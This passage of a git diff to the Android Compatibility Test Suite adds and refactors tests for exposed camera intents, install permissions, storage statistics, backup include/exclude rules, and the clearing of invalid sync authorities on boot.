private static final Intent[] EXPECTED_EXPOSED_SYSTEM_INTENTS = new Intent[] {
- // Camera
- makeIntent(MediaStore.ACTION_IMAGE_CAPTURE, null, null, null),
- makeIntent(MediaStore.ACTION_VIDEO_CAPTURE, null, null, null),
// Contacts
makeIntent(Intent.ACTION_PICK, null, ContactsContract.Contacts.CONTENT_TYPE, null),
makeIntent(Intent.ACTION_PICK, null,
@@ -109,6 +107,14 @@
makeIntent(Intent.ACTION_CHOOSER, null, null, null),
};
+ /**
+ * Camera Intents that we expect the system to expose (if the system has FEATURE_CAMERA).
+ */
+ private static final Intent[] EXPECTED_EXPOSED_CAMERA_INTENTS = new Intent[] {
+ makeIntent(MediaStore.ACTION_IMAGE_CAPTURE, null, null, null),
+ makeIntent(MediaStore.ACTION_VIDEO_CAPTURE, null, null, null),
+ };
+
private BroadcastReceiver mReceiver;
private final SynchronousQueue<TestResult> mResultQueue = new SynchronousQueue<>();
@@ -954,10 +960,30 @@
}
@Test
+ public void testInstallPermissionNotGranted() throws Exception {
+ assertThat(InstrumentationRegistry.getContext()
+ .checkCallingOrSelfPermission(Manifest.permission.SET_ALARM),
+ is(PackageManager.PERMISSION_DENIED));
+ }
+
+ @Test
+ public void testInstallPermissionGranted() throws Exception {
+ assertThat(InstrumentationRegistry.getContext()
+ .checkCallingOrSelfPermission(Manifest.permission.INTERNET),
+ is(PackageManager.PERMISSION_GRANTED));
+ }
+
+ @Test
public void testExposedSystemActivities() throws Exception {
for (Intent queryIntent : EXPECTED_EXPOSED_SYSTEM_INTENTS) {
assertIntentHasExposedActivities(queryIntent);
}
+ if (InstrumentationRegistry.getContext().getPackageManager()
+ .hasSystemFeature(PackageManager.FEATURE_CAMERA)) {
+ for (Intent queryIntent : EXPECTED_EXPOSED_CAMERA_INTENTS) {
+ assertIntentHasExposedActivities(queryIntent);
+ }
+ }
}
private void assertIntentHasExposedActivities(Intent queryIntent) throws Exception {
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
index 4a4eef1..9d0dec6 100644
--- a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
@@ -23,7 +23,6 @@
import static com.android.cts.storageapp.Utils.DATA_INT;
import static com.android.cts.storageapp.Utils.MB_IN_BYTES;
import static com.android.cts.storageapp.Utils.PKG_B;
-import static com.android.cts.storageapp.Utils.TAG;
import static com.android.cts.storageapp.Utils.assertMostlyEquals;
import static com.android.cts.storageapp.Utils.getSizeManual;
import static com.android.cts.storageapp.Utils.makeUniqueFile;
@@ -42,7 +41,6 @@
import android.os.storage.StorageManager;
import android.system.Os;
import android.test.InstrumentationTestCase;
-import android.util.Log;
import java.io.File;
import java.io.IOException;
@@ -62,9 +60,19 @@
public void testFullDisk() throws Exception {
if (shouldHaveQuota(Os.uname())) {
- Hoarder.doBlocks(getContext().getDataDir(), true);
+ final File dataDir = getContext().getDataDir();
+
+ // Pre-flight to see if we have enough disk space to test with
+ final long total = dataDir.getTotalSpace();
+ final long free = dataDir.getFreeSpace();
+ final long required = ((total * 9) / 10) + MB_IN_BYTES;
+ if (free < required) {
+ fail("Skipping full disk test; only found " + free + " free out of " + total);
+ }
+
+ Hoarder.doBlocks(dataDir, true);
} else {
- Log.d(TAG, "Skipping full disk test due to missing quota support");
+ fail("Skipping full disk test due to missing quota support");
}
}
diff --git a/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java b/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java
index ebc2946..713ba17 100644
--- a/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java
+++ b/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java
@@ -95,10 +95,13 @@
public void testVerifySummary() throws Exception {
final StorageStatsManager stats = getContext().getSystemService(StorageStatsManager.class);
- assertAtLeast(Environment.getDataDirectory().getTotalSpace(),
- stats.getTotalBytes(UUID_DEFAULT));
- assertAtLeast(Environment.getDataDirectory().getUsableSpace(),
- stats.getFreeBytes(UUID_DEFAULT));
+ final long actualTotal = stats.getTotalBytes(UUID_DEFAULT);
+ final long expectedTotal = Environment.getDataDirectory().getTotalSpace();
+ assertAtLeast(expectedTotal, actualTotal);
+
+ final long actualFree = stats.getFreeBytes(UUID_DEFAULT);
+ final long expectedFree = Environment.getDataDirectory().getUsableSpace();
+ assertAtLeast(expectedFree, actualFree);
}
public void testVerifyStats() throws Exception {
diff --git a/hostsidetests/backup/AndroidTest.xml b/hostsidetests/backup/AndroidTest.xml
index d123a76..5c33080 100644
--- a/hostsidetests/backup/AndroidTest.xml
+++ b/hostsidetests/backup/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsBackupRestoreDeviceApp.apk" />
<option name="test-file-name" value="CtsFullbackupApp.apk" />
+ <option name="test-file-name" value="CtsIncludeExcludeApp.apk" />
</target_preparer>
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsBackupHostTestCases.jar" />
diff --git a/hostsidetests/backup/fullbackupapp/src/android/cts/backup/fullbackupapp/FullbackupTest.java b/hostsidetests/backup/fullbackupapp/src/android/cts/backup/fullbackupapp/FullbackupTest.java
index 7c3a6f6..ee49b87 100644
--- a/hostsidetests/backup/fullbackupapp/src/android/cts/backup/fullbackupapp/FullbackupTest.java
+++ b/hostsidetests/backup/fullbackupapp/src/android/cts/backup/fullbackupapp/FullbackupTest.java
@@ -36,7 +36,7 @@
import java.util.Random;
/**
- * Device side routines to be invoked by the host side NoBackupFolderHostSideTest. These are not
+ * Device side routines to be invoked by the host side FullbackupRulesHostSideTest. These are not
* designed to be called in any other way, as they rely on state set up by the host side test.
*/
@RunWith(AndroidJUnit4.class)
@@ -98,7 +98,7 @@
// Delete test data
deleteAllFiles();
- // No there should be no files left
+ // Now there should be no files left
checkNoFilesExist();
}
diff --git a/hostsidetests/backup/includeexcludeapp/Android.mk b/hostsidetests/backup/includeexcludeapp/Android.mk
new file mode 100644
index 0000000..9c55290
--- /dev/null
+++ b/hostsidetests/backup/includeexcludeapp/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PACKAGE_NAME := CtsIncludeExcludeApp
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/backup/includeexcludeapp/AndroidManifest.xml b/hostsidetests/backup/includeexcludeapp/AndroidManifest.xml
new file mode 100644
index 0000000..3726eca
--- /dev/null
+++ b/hostsidetests/backup/includeexcludeapp/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.cts.backup.includeexcludeapp">
+
+ <application android:label="IncludeExcludeBackupApp"
+ android:fullBackupContent="@xml/my_backup_rules">
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.cts.backup.includeexcludeapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/includeexcludeapp/res/xml/my_backup_rules.xml b/hostsidetests/backup/includeexcludeapp/res/xml/my_backup_rules.xml
new file mode 100644
index 0000000..dca51f5
--- /dev/null
+++ b/hostsidetests/backup/includeexcludeapp/res/xml/my_backup_rules.xml
@@ -0,0 +1,13 @@
+<?xml version="1.0" encoding="utf-8"?>
+<full-backup-content>
+ <include domain="file" path="."/>
+ <exclude domain="file" path="exclude_folder"/>
+ <include domain="sharedpref" path="."/>
+ <exclude domain="sharedpref" path="exclude_shared_pref.xml"/>
+ <include domain="database" path="db_name/file_to_include"/>
+ <exclude domain="database" path="db_name/file_to_exclude"/>
+ <include domain="external" path="."/>
+ <exclude domain="external" path="exclude_folder"/>
+ <include domain="root" path="file_to_include"/>
+ <exclude domain="root" path="file_to_exclude"/>
+</full-backup-content>
\ No newline at end of file
diff --git a/hostsidetests/backup/includeexcludeapp/src/android/cts/backup/includeexcludeapp/IncludeExcludeTest.java b/hostsidetests/backup/includeexcludeapp/src/android/cts/backup/includeexcludeapp/IncludeExcludeTest.java
new file mode 100644
index 0000000..83b932b
--- /dev/null
+++ b/hostsidetests/backup/includeexcludeapp/src/android/cts/backup/includeexcludeapp/IncludeExcludeTest.java
@@ -0,0 +1,259 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup.includeexcludeapp;
+
+import static android.support.test.InstrumentationRegistry.getTargetContext;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.content.SharedPreferences;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.BufferedOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Random;
+
+/**
+ * Device side routines to be invoked by the host side FullbackupRulesHostSideTest. These are not
+ * designed to be called in any other way, as they rely on state set up by the host side test.
+ */
+@RunWith(AndroidJUnit4.class)
+public class IncludeExcludeTest {
+ public static final String TAG = "IncludeExcludeCTSApp";
+ private static final int FILE_SIZE_BYTES = 1024 * 1024;
+ private static final String SHARED_PREF_KEY1 = "dummy_key1";
+ private static final String SHARED_PREF_KEY2 = "dummy_key2";
+ private static final int SHARED_PREF_VALUE1 = 1337;
+ private static final int SHARED_PREF_VALUE2 = 1338;
+
+ private Context mContext;
+
+ private List<File> mIncludeFiles;
+ private List<File> mExcludeFiles;
+
+ private SharedPreferences mIncludeSharedPref;
+ private SharedPreferences mExcludeSharedPref;
+
+ @Before
+ public void setUp() {
+ mContext = getTargetContext();
+ setupFiles();
+ }
+
+ private void setupFiles() {
+
+ // We add all the files we expect to be backed up accoring to res/my_backup_rules.xml to
+ // the mIncludeFiles list, and all files expected not to be to mExcludeFiles.
+ mIncludeFiles = new ArrayList<File>();
+ mExcludeFiles = new ArrayList<File>();
+
+ // Files in the normal files directory.
+ File filesDir = mContext.getFilesDir();
+ File excludeFolder = new File(filesDir, "exclude_folder");
+ mIncludeFiles.add(new File(filesDir, "file_to_include"));
+ mExcludeFiles.add(new File(excludeFolder, "file_to_exclude"));
+
+ // Files in database directory.
+ File databaseDir = mContext.getDatabasePath("db_name");
+ mIncludeFiles.add(new File(databaseDir, "file_to_include"));
+ mExcludeFiles.add(new File(databaseDir, "file_to_exclude"));
+
+ // Files in external files directory.
+ File externalDir = mContext.getExternalFilesDir(null);
+ File excludeExternalFolder = new File(externalDir, "exclude_folder");
+ mIncludeFiles.add(new File(externalDir, "file_to_include"));
+ mExcludeFiles.add(new File(excludeExternalFolder, "file_to_exclude"));
+
+ // Files in root directory
+ File rootDir = mContext.getDataDir();
+ mIncludeFiles.add(new File(rootDir, "file_to_include"));
+ mExcludeFiles.add(new File(rootDir, "file_to_exclude"));
+
+ // Set up SharedPreferences
+ mIncludeSharedPref =
+ mContext.getSharedPreferences("include_shared_pref", Context.MODE_PRIVATE);
+ mExcludeSharedPref =
+ mContext.getSharedPreferences("exclude_shared_pref", Context.MODE_PRIVATE);
+ }
+
+ @Test
+ public void createFiles() throws Exception {
+ // Make sure the data does not exist from before
+ deleteAllFiles();
+ deleteSharedPref();
+ checkNoFilesExist();
+ checkSharedPrefDontExist();
+
+ // Create test data
+ generateFiles();
+ generateSharedPrefs();
+
+ checkAllFilesExist();
+ checkSharedPrefExist();
+ }
+
+ @Test
+ public void deleteFilesAfterBackup() throws Exception {
+ // Make sure the test data exists first
+ checkAllFilesExist();
+ checkSharedPrefExist();
+
+ // Delete test data
+ deleteAllFiles();
+ deleteSharedPref();
+
+ // Now there should be no files left
+ checkNoFilesExist();
+ checkSharedPrefDontExist();
+ }
+
+ @Test
+ public void checkRestoredFiles() throws Exception {
+ // After a restore, only files in the mIncludeFiles list should exist.
+ checkIncludeFilesDoExist();
+ checkExcludeFilesDoNotExist();
+
+ // Also check that the SharedPreferences were restored, except the excluded ones.
+ checkIncludeSharedPrefExist();
+ checkExcludeSharedPrefDoNotExist();
+ }
+
+ private void generateFiles() {
+ try {
+ // Add data to all the files we created
+ for (File file : mIncludeFiles) {
+ addData(file);
+ }
+ for (File file : mExcludeFiles) {
+ addData(file);
+ }
+ } catch (IOException e) {
+ fail("Unable to generate files: " + e);
+ }
+ }
+
+ private void deleteAllFiles() {
+ for (File file : mIncludeFiles) {
+ file.delete();
+ }
+ for (File file : mExcludeFiles) {
+ file.delete();
+ }
+ }
+
+ private void addData(File file) throws IOException {
+ file.getParentFile().mkdirs();
+
+ byte[] bytes = new byte[FILE_SIZE_BYTES];
+ new Random().nextBytes(bytes);
+
+ try (BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream(file))) {
+ bos.write(bytes, 0, bytes.length);
+ }
+ }
+
+ private void checkAllFilesExist() {
+ for (File file: mIncludeFiles) {
+ assertTrue("File did unexpectedly not exist: " + file.getAbsolutePath(), file.exists());
+ }
+ for (File file: mExcludeFiles) {
+ assertTrue("File did unexpectedly not exist: " + file.getAbsolutePath(), file.exists());
+ }
+ }
+
+ private void checkNoFilesExist() {
+ for (File file: mIncludeFiles) {
+ assertFalse("File did unexpectedly exist: " + file.getAbsolutePath(), file.exists());
+ }
+ for (File file: mExcludeFiles) {
+ assertFalse("File did unexpectedly exist: " + file.getAbsolutePath(), file.exists());
+ }
+ }
+
+ private void checkExcludeFilesDoNotExist() {
+ for (File file: mExcludeFiles) {
+ assertFalse("File expected not to be restored did exist: " + file.getAbsolutePath(),
+ file.exists());
+ }
+ }
+
+ private void checkIncludeFilesDoExist() {
+ for (File file: mIncludeFiles) {
+ assertTrue("File expected to be restored did not exist: " + file.getAbsolutePath(),
+ file.exists());
+ }
+ }
+
+ private void generateSharedPrefs() {
+ SharedPreferences.Editor editor = mIncludeSharedPref.edit();
+ editor.putInt(SHARED_PREF_KEY1, SHARED_PREF_VALUE1);
+ editor.commit();
+
+
+ editor = mExcludeSharedPref.edit();
+ editor.putInt(SHARED_PREF_KEY2, SHARED_PREF_VALUE2);
+ editor.commit();
+ }
+
+ private void checkSharedPrefExist() {
+ int value = mIncludeSharedPref.getInt(SHARED_PREF_KEY1, 0);
+ assertEquals("Shared preference did not exist", SHARED_PREF_VALUE1, value);
+
+ value = mExcludeSharedPref.getInt(SHARED_PREF_KEY2, 0);
+ assertEquals("Shared preference did not exist", SHARED_PREF_VALUE2, value);
+ }
+
+ private void deleteSharedPref() {
+ SharedPreferences.Editor editor = mIncludeSharedPref.edit();
+ editor.clear();
+ editor.commit();
+
+ editor = mExcludeSharedPref.edit();
+ editor.clear();
+ editor.commit();
+ }
+
+ private void checkSharedPrefDontExist() {
+ int value = mIncludeSharedPref.getInt(SHARED_PREF_KEY1, 0);
+ assertEquals("Shared preference did exist", 0, value);
+
+ value = mExcludeSharedPref.getInt(SHARED_PREF_KEY2, 0);
+ assertEquals("Shared preference did exist", 0, value);
+ }
+
+ private void checkIncludeSharedPrefExist() {
+ int value = mIncludeSharedPref.getInt(SHARED_PREF_KEY1, 0);
+ assertEquals("Shared preference did not exist", SHARED_PREF_VALUE1, value);
+ }
+
+ private void checkExcludeSharedPrefDoNotExist() {
+ int value = mExcludeSharedPref.getInt(SHARED_PREF_KEY2, 0);
+ assertEquals("Shared preference did exist", 0, value);
+ }
+}
diff --git a/hostsidetests/backup/src/android/cts/backup/FullbackupRulesHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/FullbackupRulesHostSideTest.java
new file mode 100644
index 0000000..79ec24c
--- /dev/null
+++ b/hostsidetests/backup/src/android/cts/backup/FullbackupRulesHostSideTest.java
@@ -0,0 +1,93 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup;
+
+import static org.junit.Assert.assertTrue;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test checking that files created by an app are restored successfully after a backup, but that
+ * files put in the folder provided by getNoBackupFilesDir() [files/no_backup] are NOT backed up,
+ * and that files are included/excluded according to rules defined in the manifest.
+ *
+ * Invokes device side tests provided by android.cts.backup.fullbackupapp.FullbackupTest and
+ * android.cts.backup.includeexcludeapp.IncludeExcludeTest.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class FullbackupRulesHostSideTest extends BaseBackupHostSideTest {
+
+ private static final String FULLBACKUP_TESTS_APP_NAME = "android.cts.backup.fullbackupapp";
+ private static final String FULLBACKUP_DEVICE_TEST_CLASS_NAME =
+ FULLBACKUP_TESTS_APP_NAME + ".FullbackupTest";
+
+ private static final String INCLUDE_EXCLUDE_TESTS_APP_NAME =
+ "android.cts.backup.includeexcludeapp";
+ private static final String INCLUDE_EXCLUDE_DEVICE_TEST_CLASS_NAME =
+ INCLUDE_EXCLUDE_TESTS_APP_NAME + ".IncludeExcludeTest";
+
+ @Test
+ public void testNoBackupFolder() throws Exception {
+ // Generate the files that are going to be backed up.
+ checkDeviceTest(FULLBACKUP_TESTS_APP_NAME, FULLBACKUP_DEVICE_TEST_CLASS_NAME,
+ "createFiles");
+
+ // Do a backup
+ String backupnowOutput = backupNow(FULLBACKUP_TESTS_APP_NAME);
+
+ assertBackupIsSuccessful(FULLBACKUP_TESTS_APP_NAME, backupnowOutput);
+
+ // Delete the files
+ checkDeviceTest(FULLBACKUP_TESTS_APP_NAME, FULLBACKUP_DEVICE_TEST_CLASS_NAME,
+ "deleteFilesAfterBackup");
+
+ // Do a restore
+ String restoreOutput = restore(FULLBACKUP_TESTS_APP_NAME);
+
+ assertRestoreIsSuccessful(restoreOutput);
+
+ // Check that the right files were restored
+ checkDeviceTest(FULLBACKUP_TESTS_APP_NAME, FULLBACKUP_DEVICE_TEST_CLASS_NAME,
+ "checkRestoredFiles");
+ }
+
+ @Test
+ public void testIncludeExcludeRules() throws Exception {
+ // Generate the files that are going to be backed up.
+ checkDeviceTest(INCLUDE_EXCLUDE_TESTS_APP_NAME, INCLUDE_EXCLUDE_DEVICE_TEST_CLASS_NAME,
+ "createFiles");
+
+ // Do a backup
+ String backupnowOutput = backupNow(INCLUDE_EXCLUDE_TESTS_APP_NAME);
+ assertBackupIsSuccessful(INCLUDE_EXCLUDE_TESTS_APP_NAME, backupnowOutput);
+
+ // Delete the files
+ checkDeviceTest(INCLUDE_EXCLUDE_TESTS_APP_NAME, INCLUDE_EXCLUDE_DEVICE_TEST_CLASS_NAME,
+ "deleteFilesAfterBackup");
+
+ // Do a restore
+ String restoreOutput = restore(INCLUDE_EXCLUDE_TESTS_APP_NAME);
+ assertRestoreIsSuccessful(restoreOutput);
+
+ // Check that the right files were restored
+ checkDeviceTest(INCLUDE_EXCLUDE_TESTS_APP_NAME, INCLUDE_EXCLUDE_DEVICE_TEST_CLASS_NAME,
+ "checkRestoredFiles");
+ }
+}
diff --git a/hostsidetests/backup/src/android/cts/backup/NoBackupFolderHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/NoBackupFolderHostSideTest.java
deleted file mode 100644
index 56f8f5c..0000000
--- a/hostsidetests/backup/src/android/cts/backup/NoBackupFolderHostSideTest.java
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.cts.backup;
-
-import static org.junit.Assert.assertTrue;
-
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-/**
- * Test checking that files created by an app are restored successfully after a backup, but that
- * files put in the folder provided by getNoBackupFilesDir() [files/no_backup] are NOT backed up.
- *
- * Invokes device side tests provided by android.cts.backup.fullbackupapp.FullbackupTest.
- */
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class NoBackupFolderHostSideTest extends BaseBackupHostSideTest {
-
- private static final String TESTS_APP_NAME = "android.cts.backup.fullbackupapp";
- private static final String DEVICE_TEST_CLASS_NAME = TESTS_APP_NAME + ".FullbackupTest";
-
- @Test
- public void testNoBackupFolder() throws Exception {
- // Generate the files that are going to be backed up.
- checkDeviceTest(TESTS_APP_NAME, DEVICE_TEST_CLASS_NAME, "createFiles");
-
- // Do a backup
- String backupnowOutput = backupNow(TESTS_APP_NAME);
-
- assertBackupIsSuccessful(TESTS_APP_NAME, backupnowOutput);
-
- // Delete the files
- checkDeviceTest(TESTS_APP_NAME, DEVICE_TEST_CLASS_NAME, "deleteFilesAfterBackup");
-
- // Do a restore
- String restoreOutput = restore(TESTS_APP_NAME);
-
- assertRestoreIsSuccessful(restoreOutput);
-
- // Check that the right files were restored
- checkDeviceTest(TESTS_APP_NAME, DEVICE_TEST_CLASS_NAME, "checkRestoredFiles");
- }
-}
diff --git a/hostsidetests/content/src/android/content/cts/InvalidSyncAuthoritiesHostTest.java b/hostsidetests/content/src/android/content/cts/InvalidSyncAuthoritiesHostTest.java
new file mode 100644
index 0000000..ebffbe6
--- /dev/null
+++ b/hostsidetests/content/src/android/content/cts/InvalidSyncAuthoritiesHostTest.java
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.cts;
+
+import android.appsecurity.cts.Utils;
+import android.platform.test.annotations.SecurityTest;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+/**
+ * Tests that invalid authorities are cleared from the sync data files on boot.
+ * Otherwise a malicious app can effectively DOS the filesystem and the user can only get out of it
+ * via a factory reset.
+ */
+@SecurityTest
+public class InvalidSyncAuthoritiesHostTest extends DeviceTestCase implements IBuildReceiver {
+
+ private static final String DEVICE_TEST_PACKAGE = "android.content.sync.cts";
+ private static final String DEVICE_TEST_CLASS = ".InvalidSyncAuthoritiesDeviceTest";
+ private static final String DEVICE_TEST_APK = "CtsSyncInvalidAccountAuthorityTestCases.apk";
+
+ private CompatibilityBuildHelper mBuildHelper;
+
+ @Override
+ public void setBuild(IBuildInfo iBuildInfo) {
+ mBuildHelper = new CompatibilityBuildHelper(iBuildInfo);
+ }
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ getDevice().uninstallPackage(DEVICE_TEST_PACKAGE);
+
+ assertNull(getDevice().installPackage(mBuildHelper.getTestFile(DEVICE_TEST_APK), false,
+ false));
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ try {
+ runDeviceTests(DEVICE_TEST_PACKAGE, DEVICE_TEST_CLASS, "removeTestAccount");
+ } catch (AssertionError exc) {
+ // Test account got left on the device. This test should still pass.
+ LogUtil.CLog.w("removeTestAccount failed: " + exc.getMessage());
+ }
+ getDevice().uninstallPackage(DEVICE_TEST_PACKAGE);
+ }
+
+ public void testInvalidEntriesClearedOnBoot() throws Exception {
+ runDeviceTests(DEVICE_TEST_PACKAGE, DEVICE_TEST_CLASS, "populateAndTestSyncAutomaticallyBeforeReboot");
+ getDevice().reboot();
+ runDeviceTests(DEVICE_TEST_PACKAGE, DEVICE_TEST_CLASS, "testSyncAutomaticallyAfterReboot");
+ }
+
+ private void runDeviceTests(String packageName, String testClassName, String testMethodName)
+ throws DeviceNotAvailableException {
+ Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
+ }
+}
diff --git a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk
new file mode 100644
index 0000000..104fdbd
--- /dev/null
+++ b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk
@@ -0,0 +1,35 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test ctstestrunner
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsSyncInvalidAccountAuthorityTestCases
+
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/AndroidManifest.xml b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/AndroidManifest.xml
new file mode 100644
index 0000000..46c34f6
--- /dev/null
+++ b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/AndroidManifest.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.content.sync.cts">
+
+ <uses-permission android:name="android.permission.READ_SYNC_SETTINGS"/>
+ <uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS"/>
+
+ <application>
+ <uses-library android:name="android.test.runner" />
+ <service
+ android:name=".StubAuthenticator">
